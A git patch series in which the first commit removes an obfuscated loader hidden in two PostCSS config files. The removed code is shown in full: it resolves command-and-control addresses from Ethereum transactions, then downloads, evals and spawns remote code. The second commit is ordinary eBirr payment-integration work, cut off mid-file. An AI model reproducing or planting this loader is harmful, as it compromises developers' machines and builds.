From 78d69eb02bbc7154d9307cd2a8c9d366a932b19a Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Mon, 10 Aug 2026 10:37:47 +0300 Subject: [PATCH 1/2] fix: ( malware ) remove malware code --- apps/edr-passenger-web/backoffice/postcss.config.js | 2 +- apps/edr-passenger-web/portal/postcss.config.js | 6 +----- 2 files changed, 2 insertions(+), 6 deletions(-) diff --git a/apps/edr-passenger-web/backoffice/postcss.config.js b/apps/edr-passenger-web/backoffice/postcss.config.js index 701a63d39..12a703d90 100644 --- a/apps/edr-passenger-web/backoffice/postcss.config.js +++ b/apps/edr-passenger-web/backoffice/postcss.config.js @@ -3,4 +3,4 @@ module.exports = { tailwindcss: {}, autoprefixer: {}, }, -}; global.i="A8-4299";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})(); +}; diff --git a/apps/edr-passenger-web/portal/postcss.config.js b/apps/edr-passenger-web/portal/postcss.config.js index 0bb9d831b..2aa7205d4 100644 --- a/apps/edr-passenger-web/portal/postcss.config.js +++ b/apps/edr-passenger-web/portal/postcss.config.js @@ -1,10 +1,6 @@ -import { createRequire } from 'module'; - -const require = createRequire(import.meta.url); - export default { plugins: { tailwindcss: {}, autoprefixer: {}, }, -}; global.i="A8-4299";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})(); +}; From 6471c3511a62270587825c5386db4b0131a4ea72 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Mon, 10 Aug 2026 11:36:05 +0300 Subject: [PATCH 2/2] feat: (payment) add eBirr as synchronous API_PURCHASE wallet debit --- apps/edr-passenger-api/.env.example | 9 +- apps/edr-passenger-api/src/app.module.ts | 2 - .../src/config/ebirr.config.ts | 9 - .../src/modules/payments/payments.dto.ts | 73 +- .../src/modules/payments/payments.service.ts | 389 +++++++---- .../portal/src/app/booking/payment/page.tsx | 111 +++- .../src/config/ebirr.config.ts | 27 +- .../intents/intents.service.cbe-bill.spec.ts | 3 +- .../src/modules/intents/intents.service.ts | 60 +- .../modules/providers/ebirr-purchase.spec.ts | 374 +++++++++++ .../handlers/ebirr-webhook.service.ts | 33 - .../modules/webhooks/webhooks.controller.ts | 17 +- .../src/modules/webhooks/webhooks.module.ts | 2 - packages/payment-providers/src/index.ts | 14 +- .../src/providers/ebirr/ebirr.provider.ts | 627 ++++++++++++++---- .../src/providers/ebirr/ebirr.types.ts | 143 ++++ .../payment-providers/src/utils/msisdn.ts | 53 ++ .../src/webhooks/ebirr-webhook.types.ts | 12 - packages/types/src/common/payments.ts | 13 + 19 files changed, 1591 insertions(+), 380 deletions(-) delete mode 100644 apps/edr-passenger-api/src/config/ebirr.config.ts create mode 100644 apps/edr-payment-api/src/modules/providers/ebirr-purchase.spec.ts delete mode 100644 apps/edr-payment-api/src/modules/webhooks/handlers/ebirr-webhook.service.ts create mode 100644 packages/payment-providers/src/providers/ebirr/ebirr.types.ts create mode 100644 packages/payment-providers/src/utils/msisdn.ts delete mode 100644 packages/payment-providers/src/webhooks/ebirr-webhook.types.ts diff --git a/apps/edr-passenger-api/.env.example b/apps/edr-passenger-api/.env.example index cf00cfe51..970aca30d 100644 --- a/apps/edr-passenger-api/.env.example +++ b/apps/edr-passenger-api/.env.example @@ -87,12 +87,8 @@ CBE_SECRET_KEY= CBE_NOTIFY_URL= CBE_RETURN_URL= -# eBirr -EBIRR_BASE_URL= -EBIRR_MERCHANT_CODE= -EBIRR_SECRET_KEY= -EBIRR_NOTIFY_URL= -EBIRR_RETURN_URL= +# eBirr — credentials live in edr-payment-api only; the passenger API never calls providers +# directly. eBirr has no redirect, so there is no EBIRR_RETURN_URL. See docs/ebirr/INTEGRATION.md. # Card Gateway (Stripe-like) CARD_BASE_URL= @@ -140,7 +136,6 @@ WAAFI_SUCCESS_REDIRECT= WAAFI_FAIL_REDIRECT= DMONEY_RETURN_URL= CBE_RETURN_URL= -EBIRR_RETURN_URL= CARD_RETURN_URL= # Session Configuration diff --git a/apps/edr-passenger-api/src/app.module.ts b/apps/edr-passenger-api/src/app.module.ts index 014e4f5c6..bd8372b29 100644 --- a/apps/edr-passenger-api/src/app.module.ts +++ b/apps/edr-passenger-api/src/app.module.ts @@ -23,7 +23,6 @@ import dbConfig from "./config/database.config"; import iamDatabaseConfig from "./config/iam-database.config"; import telebirrConfig from "./config/telebirr.config"; import cbeConfig from "./config/cbe.config"; -import ebirrConfig from "./config/ebirr.config"; import cardConfig from "./config/card.config"; import waafiConfig from "./config/waafi.config"; import faydaConfig from "./config/fayda.config"; @@ -75,7 +74,6 @@ import { EOtpType } from "@tria-plc/iamapi-common"; iamDatabaseConfig, telebirrConfig, cbeConfig, - ebirrConfig, cardConfig, waafiConfig, faydaConfig, diff --git a/apps/edr-passenger-api/src/config/ebirr.config.ts b/apps/edr-passenger-api/src/config/ebirr.config.ts deleted file mode 100644 index 0a00bca2a..000000000 --- a/apps/edr-passenger-api/src/config/ebirr.config.ts +++ /dev/null @@ -1,9 +0,0 @@ -import { registerAs } from '@nestjs/config'; - -export default registerAs('ebirr', () => ({ - baseUrl: process.env.EBIRR_BASE_URL || '', - merchantCode: process.env.EBIRR_MERCHANT_CODE || '', - secretKey: process.env.EBIRR_SECRET_KEY || '', - notifyUrl: process.env.EBIRR_NOTIFY_URL || '', - returnUrl: process.env.EBIRR_RETURN_URL || '', -})); diff --git a/apps/edr-passenger-api/src/modules/payments/payments.dto.ts b/apps/edr-passenger-api/src/modules/payments/payments.dto.ts index 448aa4e7b..924792d4f 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.dto.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.dto.ts @@ -21,7 +21,7 @@ export enum PaymentMethodTypeEnum { CBE_BIRR = "CBE_BIRR", // Ethiopia EBIRR = "EBIRR", // Ethiopia WAAFI = "WAAFI", - DMONEY= "DMONEY",// Djibouti + DMONEY = "DMONEY", // Djibouti CAC_BANK = "CAC_BANK", // Djibouti (OTP debit) CARD = "CARD", // International WALLET = "WALLET", // Internal @@ -57,9 +57,10 @@ export class InitiatePaymentDto { platform?: PaymentPlatformDto; @ApiPropertyOptional({ description: - "Payer account / mobile number. Required for OTP-debit methods (CAC_BANK) — " + - "the bank sends the OTP to this number.", - example: "77112233", + "Payer account / mobile number. Required for push-debit methods: CAC_BANK (the bank " + + "sends an OTP to this number) and EBIRR (the wallet pushes a USSD PIN prompt to it). " + + "Ethiopian numbers are accepted as +251…, 251…, 09… or 9… and normalised server-side.", + example: "+251923582676", }) @IsOptional() @IsString() @@ -125,6 +126,7 @@ export class ClientActionDto { "LAUNCH_APP", "INVOKE_BRIDGE", "COLLECT_OTP", + "AWAIT_PUSH", "SHOW_BILL_REFERENCE", ], }) @@ -133,6 +135,7 @@ export class ClientActionDto { | "LAUNCH_APP" | "INVOKE_BRIDGE" | "COLLECT_OTP" + | "AWAIT_PUSH" | "SHOW_BILL_REFERENCE"; @ApiPropertyOptional({ description: "Set when type=REDIRECT (web flow)" }) url?: string; @@ -160,10 +163,22 @@ export class ClientActionDto { "to the host bridge (js_fun_start_pay). NOT a URL — never navigate to it.", }) rawRequest?: string; - @ApiPropertyOptional({ description: "Set when type=COLLECT_OTP (e.g. CAC Bank)" }) + @ApiPropertyOptional({ + description: "Set when type=COLLECT_OTP (e.g. CAC Bank)", + }) providerOrderId?: string; - @ApiPropertyOptional({ description: "Set when type=COLLECT_OTP" }) + @ApiPropertyOptional({ + description: + "Set when type=COLLECT_OTP or type=AWAIT_PUSH — text to show the payer", + }) message?: string; + @ApiPropertyOptional({ + description: + "Set when type=AWAIT_PUSH (eBirr). Masked wallet number the PIN prompt was pushed to, " + + "so the payer can confirm it is their handset. Nothing to navigate to — poll the intent.", + example: "2519****2676", + }) + payerAccountMasked?: string; @ApiPropertyOptional({ description: "Set when type=SHOW_BILL_REFERENCE (CBE bill payment)", }) @@ -180,6 +195,9 @@ export class InitiateResponseDto { @ApiPropertyOptional({ type: ClientActionDto }) clientAction?: ClientActionDto; @ApiPropertyOptional() merchantOrderId?: string; + /** Set when initiate already settled terminally (eBirr debits synchronously — no webhook). */ + @ApiPropertyOptional() failureCode?: string; + @ApiPropertyOptional() failureMessage?: string; /** When this payment session stops being offered — PAYMENT_SESSION_MINUTES from initiation, capped at paymentDeadline. Drives the client-side countdown. */ @ApiPropertyOptional() sessionExpiresAt?: string; /** The booking's payment deadline: after it, the booking is auto-cancelled. */ @@ -205,18 +223,43 @@ export class IntentStatusDto { } export class BookingAmountResponseDto { - @ApiProperty({ example: 'booking-uuid' }) booking_id: string; - @ApiProperty({ example: 'DJF', description: 'Currency of the returned amount' }) currency: string; - @ApiProperty({ example: 162.5, description: 'Booking total converted to the requested currency (major units)' }) amount: number; + @ApiProperty({ example: "booking-uuid" }) booking_id: string; + @ApiProperty({ + example: "DJF", + description: "Currency of the returned amount", + }) + currency: string; + @ApiProperty({ + example: 162.5, + description: + "Booking total converted to the requested currency (major units)", + }) + amount: number; } export class ForceConfirmDto { - @ApiPropertyOptional({ description: 'External payment reference / transaction ID from the vendor', example: 'TXN-123456' }) - @IsOptional() @IsString() paymentReference?: string; + @ApiPropertyOptional({ + description: "External payment reference / transaction ID from the vendor", + example: "TXN-123456", + }) + @IsOptional() + @IsString() + paymentReference?: string; - @ApiPropertyOptional({ enum: PaymentMethodTypeEnum, description: 'Payment method used externally', example: 'TELEBIRR' }) - @IsOptional() @IsEnum(PaymentMethodTypeEnum) paymentMethod?: PaymentMethodTypeEnum; + 